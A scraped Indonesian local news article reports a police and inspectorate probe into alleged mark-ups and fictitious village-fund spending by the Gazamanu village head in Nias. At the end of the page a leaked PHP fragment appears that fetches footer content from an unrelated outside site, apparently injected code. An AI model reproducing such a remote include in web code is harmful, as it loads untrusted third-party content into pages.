Inspektur Inspektorat Kab Nias : Kita Jadwalkan Pemeriksaan Kades Gazamanu

Jumat, 26 Maret 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Nias – Paur Subbag Humas Polres Nias, Aiptu Yadsen Hulu “Kita menunggu hasil audit inspektorat kab Nias, Ucapnya  singkat
saat dikorfirmasi media jejakkasus.com dikantornya terkait Kades Gazamanu kecamatan Bawalato Kab Nias Hadir diperiksa di Unit III Tipikor Sat reskrim Polres Nias jumat (26/3/21).

Para Masyarakat Kabupaten Nias kecamatan Bawalato inisial BL dan pimpinan organisasi lsm dan ormas Nias sangat antusias mengawal kasus ini diPolres Nias. Berharap penegak hukum dan APIP agar menjadikan atensi laporan ini, demi penegakan pemberantasan korupsi ADD/DD, saatnya Kabupaten Nias bersih dari korupsi

Inspektur Inspektorat Kab Nias; Andika mengatakan : Terima kasih atas saran dan informasinya, kita akan menjadwalkan pemeriksaannya.

Ini terkait atas Laporan LPKPK kep Nias melaporkan Kades Gazamanu kec.Bawalato kab Nias atas nama
Tri Bakti Lase Kades Diperiksa di Unit Tipikor Polres Nias, sekira pukul 10.00 wib Jumat 26 Maret 2021, terpantau wartawan di reskrim polres Nias.

Baca Juga:  Pemko Gunung Sitoli Gelar Rapat Bersama Forkopimda Terkait Kasus Covid-19

Pemeriksaan digelar oleh unit tipikor polres Nias atas laporan Komisi Cabang Lembaga Pengawasan Kebijakan Pemerintah dan Keadilan( LP-KPK) Kepulauan Nias-Sumut, atas Laporan Ketua LP-KPK Kepulauan Nias Faozi Ziliwu, SH tertanggal 1 Maret 2021 dugaan korupsi Penggunaan Anggaran DD/ADD, para terlapor Kemurahan Lase jabatan Sekdes dan Yaaro Lase Jabatan Bendahara, dipaparkan Ketua LP-KPK Kepulauan Nias Faozi Ziliwu, SH kepada media.

Urai Ketua LPKPK Kep Nias Faozi : kades dan aparatnya terlapor terkait dugaan korupsi Dana Desa Tahun 2020. Dugaan korupsi pada kegiatan pemeliharaan sanggar seni budaya sebesar Rp.51.286.550 tidak sesuai RAB dengan pembelanjaan ditoko. Pembelanjaan ditoko dalam hal ini fabrikasi adalah tidak sesuai didalam RAB, dimana sangat tinggi yang berpedoman pada SBU( standar biaya umum Kabupaten Nias, sementara harga fabrikasi pada pembelanjaan ditoko selisih harga 50 % bila dibandingkan dengan harga di RAB.Sehingga patut diduga bahwa SPJ 2020 didesa Gazamanu diduga fiktif pembelannjaannya.

Baca Juga:  Wakil Bupati Nias Barat Perintahkan Kadis PUPR Perbaiki jalan yang Rusak Di Zuzundao

Tambahnya, diduga juga Mark Up : Pembelian kursi plastik sebanyak 4( empat) lusin harga ditoko Rp.1.180.000,- didalam RAB Rp.1.700.000,-/lusin.
Serta didalam RAB semen Rp. 100.600,- sementara harga ditoko Rp. 72.000,-/ sak

Kemudian pada kegiatan air bersih sumur bor Rp.94.286.850 pada pembelanjaan mesin sanyo Shimizu PS.135 E 45 unit dengan harga ditoko Rp.550.000 sedangkan dalam RAB Rp.986.800 diduga SPJ Fiktif. Begitu juga upah tukang diduga ada kongkalikong, dimana anggaran sewa alat gali sumur Rp.45.000.000, mobilisasi alat Rp.1.500.000, demobilisasi alat Rp.1.500.000, total jumlah Rp.48.000.000, maka kuat dugaan ada SPJ fiktif atau penggelembungan anggaran, sehingga merugikan negara ratusan juta rupiah, maka diduga aparat desa diatas secara bersama-sama menguntungkan diri sendiri, ucap tegas Ketua LP-KPK ini.

Baca Juga:  Kabid PTK Disdik Nias Barat Pimpin Team,Pantau Hasil Program 100 Hari Kerja Di SMPN 1 Lahomi

Lanjut Faozi, Kita memohon pada pemerintah Kabupaten Nias agar pelaksaanan dana desa benar-benar dilaksanakan dengan baik, karena dana desa sekarang diduga menjadi lahan korupsi oleh pemerintah desa.Oleh karena itu kita memohon aparat penegak hukum untuk bertindak tegas dalam hal penyelidikan secara hukum terhadap koruptor Dana Desa(SW)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan
Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran
Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran
Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan
Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024
Buntut Aniaya Adik Tingkat, Empat Siswa SMA Kebangsaan di Kembalikan Hak Asuh ke Pihak Keluarga
Dukungan Terus Mengalir untuk Kemenangan Aries Sandi-Supriyanto
Hak Jawab Sulardi Atas Tuduhan Pemalsuan Surat Tanah Tak Berdasar,
Tag :

Berita Terkait

Jumat, 20 September 2024 - 10:17 WIB

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan

Kamis, 19 September 2024 - 20:52 WIB

Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran

Kamis, 19 September 2024 - 20:50 WIB

Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran

Kamis, 19 September 2024 - 20:20 WIB

Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan

Kamis, 19 September 2024 - 15:26 WIB

Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>